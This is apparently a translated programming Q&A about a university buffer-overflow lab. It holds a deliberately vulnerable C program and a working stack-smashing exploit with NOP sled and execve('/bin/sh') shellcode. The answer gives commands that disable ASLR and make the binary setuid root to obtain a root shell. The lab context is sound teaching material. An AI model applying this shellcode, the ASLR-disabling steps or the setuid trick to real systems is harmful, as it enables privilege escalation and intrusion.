4

下面是我的代码,包括易受攻击的程序(stack.c)和我的漏洞利用程序(exploit.c)。此代码适用于教授发送给 Windows 用户的预打包 Ubuntu 9(我有一个朋友在他的计算机上对其进行了测试),但是在我在 iMac 上运行的 Ubuntu 12 上,当我尝试执行此操作时会出现段错误在普通用户中。

这是堆栈:

//stack.c
#include <stdio.h>

int bof(char *str)
{
char buffer[12];

//BO Vulnerability
strcpy(buffer,str);

return 1;
}

int main(int argc, char* argv[])
{
char str[517];

FILE *badfile;
    badfile = fopen("badfile","r");

fread(str, sizeof(char),517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

并利用:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char code[]=
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1"
"\x99"
"\xb0\x0b" 
"\xcd\x80"
;

unsigned long get_sp(void)
{
     __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;

int offset = DEFAULT_OFFSET;
int codeSize = sizeof(code);
int buffSize = sizeof(buffer);

if(argc > 1) offset = atoi(argv[1]); //allows for command line input

ptr=buffer;
a_ptr = (long *) ptr;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

ptr = buffer;
    a_ptr = (long *) ptr;

int i;
for (i = 0; i < 300;i+=4)
    *(a_ptr++) = ret;

for(i = 486;i < codeSize + 486;++i)
    buffer[i] = code[i-486];

buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);    
}

为了在 Ubuntu 12 中编译这些,我使用了:

gcc -o stack -fno-stack-protector -g -z execstack stack.c
gcc -o exploit exploit.c

同样,它适用于 root 用户,而不是普通用户; 例子

无论如何,这是在午夜到期的,我在这个限制下一瘸一拐地完成了剩下的任务,但如果有人有建议,我宁愿正确地完成它。我想在认输之前先请专家。我正在寻找为什么此代码无法在普通用户中运行(因为它应该在旧版本的 ubuntu 上运行)但在 root 用户中运行。我还需要更改什么才能在普通用户中进行这项工作。

4

1 回答 1

0

我刚刚在 Ubuntu 12.04 VM 上运行了您提供的代码,它运行良好。我的猜测是你没有关闭 ASLR。在禁用 ASLR 的情况下再试一次

sudo su    
echo 0 > /proc/sys/kernel/randomize_va_space
exit

或者

setarch `uname -i` -R ./stack

当然,为了让它产生一个 root shell,你首先需要做:

sudo chown root:root stack
sudo chmod u+s stack

希望这可以帮助 ...

于 2013-02-15T23:55:53.057 回答